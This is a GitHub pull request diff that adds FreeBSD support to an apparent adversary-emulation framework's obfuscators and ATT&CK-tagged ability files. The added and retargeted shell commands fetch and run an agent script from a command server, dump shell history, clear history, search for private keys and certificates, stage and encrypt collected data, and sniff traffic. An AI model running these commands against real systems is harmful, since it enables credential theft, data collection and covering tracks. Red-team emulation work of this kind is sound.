Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add support for FreeBSD #563

Open
wants to merge 2 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions app/obfuscators/base64_basic.py
Original file line number Diff line number Diff line change
Expand Up @@ -10,6 +10,7 @@ def supported_platforms(self):
return dict(
windows=['psh'],
darwin=['sh'],
freebsd=['sh'],
linux=['sh']
)

Expand Down
1 change: 1 addition & 0 deletions app/obfuscators/base64_jumble.py
Original file line number Diff line number Diff line change
Expand Up @@ -14,6 +14,7 @@ def supported_platforms(self):
return dict(
windows=['psh'],
darwin=['sh'],
freebsd=['sh'],
linux=['sh']
)

Expand Down
1 change: 1 addition & 0 deletions app/obfuscators/base64_no_padding.py
Original file line number Diff line number Diff line change
Expand Up @@ -8,6 +8,7 @@ def supported_platforms(self):
return dict(
windows=['psh'],
darwin=['sh'],
freebsd=['sh'],
linux=['sh']
)

Expand Down
1 change: 1 addition & 0 deletions app/obfuscators/caesar_cipher.py
Original file line number Diff line number Diff line change
Expand Up @@ -10,6 +10,7 @@ def supported_platforms(self):
return dict(
windows=['psh'],
darwin=['sh'],
freebsd=['sh'],
linux=['sh']
)

Expand Down
1 change: 1 addition & 0 deletions app/obfuscators/steganography.py
Original file line number Diff line number Diff line change
Expand Up @@ -14,6 +14,7 @@ class Obfuscation(BaseObfuscator):
def supported_platforms(self):
return dict(
darwin=['sh'],
freebsd=['sh'],
linux=['sh']
)

Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -15,7 +15,7 @@
parsers:
plugins.stockpile.app.parsers.ssh:
- source: remote.ssh.cmd
linux:
freebsd,linux:
sh:
command: |
pip install -q stormssh 2> /dev/null && storm list | sed 's/\x1b\[[0-9;]*m//g'
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -33,7 +33,7 @@
parsers:
plugins.stockpile.app.parsers.basic:
- source: host.dir.staged
linux:
freebsd,linux:
sh:
command: |
chmod +x ./file_search.sh; ./file_search.sh --extensions '#{linux.included.extensions}'
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -8,7 +8,7 @@
attack_id: T1560.001
name: "Archive Collected Data: Archive via Utility"
platforms:
linux:
freebsd,linux:
sh:
command: |
tar -C #{host.dir.staged} -czf - . | gpg -c --pinentry-mode=loopback --passphrase #{host.archive.password} > #{host.dir.staged}.tar.gz.gpg && echo #{host.dir.staged}.tar.gz.gpg
Expand All @@ -29,4 +29,4 @@
- source: host.dir.compress
requirements:
- plugins.stockpile.app.requirements.paw_provenance:
- source: host.dir.staged
- source: host.dir.staged
Original file line number Diff line number Diff line change
Expand Up @@ -12,7 +12,7 @@
sh:
command: |
cp #{host.file.path[filters(technique=T1005,max=3)]} #{host.dir.staged[filters(max=1)]}
linux:
freebsd,linux:
sh:
command: |
cp #{host.file.path[filters(technique=T1005,max=3)]} #{host.dir.staged[filters(max=1)]}
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -17,7 +17,7 @@
parsers:
plugins.stockpile.app.parsers.basic:
- source: host.dir.staged
linux:
freebsd,linux:
sh:
command: |
mkdir -p staged && echo $PWD/staged
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -6,7 +6,7 @@
attack_id: T1005
name: Data from Local System
platforms:
linux:
freebsd,linux:
sh:
command: |
for directoryname in $(find /home/ -name '.git' -type d 2>/dev/null | head -5); do
Expand All @@ -21,4 +21,4 @@
Get-ChildItem C:\Users -Attributes Directory+Hidden -ErrorAction SilentlyContinue -Filter ".git" -Recurse | foreach {$_.parent.FullName} | Select-Object; exit 0;
parsers:
plugins.stockpile.app.parsers.basic:
- source: host.dir.git
- source: host.dir.git
Original file line number Diff line number Diff line change
Expand Up @@ -12,7 +12,7 @@
sh:
command: |
curl #{remote.host.socket}
linux:
freebsd,linux:
sh:
command: |
curl #{remote.host.socket}
Original file line number Diff line number Diff line change
Expand Up @@ -27,7 +27,7 @@
- source: host.file.path
edge: has_extension
target: file.sensitive.extension
linux:
freebsd,linux:
sh:
command: |
find / -name '*.#{file.sensitive.extension}' -type f -not -path '*/\.*' -size -500k 2>/dev/null | head -5
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -16,7 +16,7 @@
psh,pwsh:
command: |
Get-Clipboard -raw
linux:
freebsd,linux:
sh:
command: |
xclip -o
Original file line number Diff line number Diff line change
Expand Up @@ -15,6 +15,15 @@
python ragdoll.py -W $server#{app.contact.html}
cleanup: |
pkill -f ragdoll
freebsd:
sh:
command: |
server="#{app.contact.http}";
curl -s -X POST -H "file:ragdoll.py" -H "platform:freebsd" $server/file/download > ragdoll.py;
pip install requests beautifulsoup4;
python3.9 ragdoll.py -W $server#{app.contact.html}
cleanup: |
pkill -f ragdoll
linux:
sh:
command: |
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -33,3 +33,8 @@
sh:
command: |
tcpdump -i en0 & sleep 5; kill $!
freebsd:
sh:
command: |
tcpdump -i em0 & sleep 5; kill $!

Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,7 @@

- id: 422526ec-27e9-429a-995b-c686a29561a4
name: Dump history
description: Get contents of bash history
description: Get contents of bash/csh history
tactic: credential-access
technique:
attack_id: T1552.003
Expand All @@ -14,6 +14,12 @@
parsers:
plugins.stockpile.app.parsers.ssh:
- source: remote.ssh.cmd
freebsd:
sh:
command: cat ~/.history
parsers:
plugins.stockpile.app.parsers.ssh:
- source: remote.ssh.cmd
linux:
sh:
command: cat ~/.bash_history
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -19,7 +19,7 @@
sh:
command: |
for i in .key .pgp .gpg .ppk .p12 .pem .pfx .cer .p7b .asc .crt;do find /Users -maxdepth 3 -name "*${i}" 2>/dev/null;done;
linux:
freebsd,linux:
sh:
command: |
for i in .key .pgp .gpg .ppk .p12 .pem .pfx .cer .p7b .asc .crt;do find /etc -maxdepth 3 -name "*${i}" 2>/dev/null;done;
for i in .key .pgp .gpg .ppk .p12 .pem .pfx .cer .p7b .asc .crt;do find /etc -maxdepth 3 -name "*${i}" 2>/dev/null;done;
Original file line number Diff line number Diff line change
Expand Up @@ -11,7 +11,7 @@
darwin:
sh:
command: sleep 60
linux:
freebsd,linux:
sh:
command: sleep 60
windows:
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -12,10 +12,14 @@
sh:
command: |
> $HOME/.bash_history && unset HISTFILE
freebsd:
sh:
command: |
> $HOME/.history && set history = 0
linux:
sh:
command: |
> $HOME/.bash_history && unset HISTFILE
windows:
psh:
command: Clear-History;Clear
command: Clear-History;Clear
Original file line number Diff line number Diff line change
Expand Up @@ -12,11 +12,11 @@
sh:
cleanup: |
rm #{payload}
linux:
freebsd,linux:
sh:
cleanup: |
rm #{payload}
windows:
psh,pwsh:
cleanup: |
Remove-Item -Force -Path "#{payload}"
Remove-Item -Force -Path "#{payload}"
Original file line number Diff line number Diff line change
Expand Up @@ -25,9 +25,9 @@
path="$(pwd)/#{exe_name}";
num_processes=$(for id in $(pgrep -f #{exe_name}); do lsof -p $id 2> /dev/null | grep "$path"; done | wc -l);
if [ "$num_processes" -le 1 ]; then /bin/rm -f "$path"; fi;
linux:
freebsd,linux:
sh:
command: |
path="$(pwd)/#{exe_name}";
num_processes=$(for id in $(pgrep -f #{exe_name}); do lsof -p $id 2> /dev/null | grep "$path"; done | wc -l);
if [ "$num_processes" -le 1 ]; then /bin/rm -f "$path"; fi;
if [ "$num_processes" -le 1 ]; then /bin/rm -f "$path"; fi;
Original file line number Diff line number Diff line change
Expand Up @@ -12,7 +12,7 @@
sh:
command: |
find / -type d -user #{host.user.name} \( -perm -g+w -or -perm -o+w \) 2>/dev/null -exec ls -adl {} \;
linux:
freebsd,linux:
sh:
command: |
find / -type d -user #{host.user.name} \( -perm -g+w -or -perm -o+w \) 2>/dev/null -exec ls -adl {} \;
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -12,7 +12,7 @@
sh:
command: |
ps
linux:
freebsd,linux:
sh:
command: |
ps
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -12,7 +12,7 @@
sh:
command: |
nmap -sV -p #{remote.host.port} #{remote.host.ip}
linux:
freebsd,linux:
sh:
command: |
nmap -sV -p #{remote.host.port} #{remote.host.ip}
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -12,7 +12,7 @@
sh:
command: |
ps aux | grep #{host.user.name}
linux:
freebsd,linux:
sh:
command: |
ps aux | grep #{host.user.name}
Expand Down
11 changes: 11 additions & 0 deletions data/abilities/discovery/47abe1f5-55a5-46cc-8cad-506dac8ea6d9.yml
Original file line number Diff line number Diff line change
Expand Up @@ -17,6 +17,17 @@
target: remote.host.port
payloads:
- scanner.py
freebsd:
sh:
command: |
python3.9 scanner.py -i #{remote.host.ip}
parsers:
plugins.stockpile.app.parsers.scan:
- source: remote.host.ip
edge: has_open_port
target: remote.host.port
payloads:
- scanner.py
linux:
sh:
command: |
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -12,7 +12,7 @@
sh:
command: |
ls
linux:
freebsd,linux:
sh:
command: |
ls
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -42,6 +42,6 @@
darwin:
sh:
command: ps aux
linux:
freebsd,linux:
sh:
command: ps aux
command: ps aux
Original file line number Diff line number Diff line change
Expand Up @@ -15,6 +15,6 @@
darwin:
sh:
command: groups
linux:
freebsd,linux:
sh:
command: groups
command: groups
Original file line number Diff line number Diff line change
Expand Up @@ -12,7 +12,7 @@
sh:
command: |
cat ~/.ssh/known_hosts
linux:
freebsd,linux:
sh:
command: |
cat ~/.ssh/known_hosts
Original file line number Diff line number Diff line change
Expand Up @@ -11,6 +11,10 @@
sh:
command: |
netstat -anto
freebsd:
sh:
command: |
netstat -aSp tcp
linux:
sh:
command: |
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -14,7 +14,7 @@
- source: host.print.file
edge: has_size
target: host.print.size
linux:
freebsd,linux:
sh:
command: lpq -a
parsers:
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -12,7 +12,7 @@
sh:
command: |
pwd
linux:
freebsd,linux:
sh:
command: |
pwd
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -12,6 +12,10 @@
sh:
command: |
which google-chrome
freebsd:
sh:
command: |
which chrome
linux:
sh:
command: |
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -14,7 +14,7 @@
parsers:
plugins.stockpile.app.parsers.ipaddr:
- source: remote.host.ip
linux:
freebsd,linux:
sh:
command: arp -a
parsers:
Expand All @@ -25,4 +25,4 @@
command: arp -a
parsers:
plugins.stockpile.app.parsers.ipaddr:
- source: remote.host.ip
- source: remote.host.ip
Loading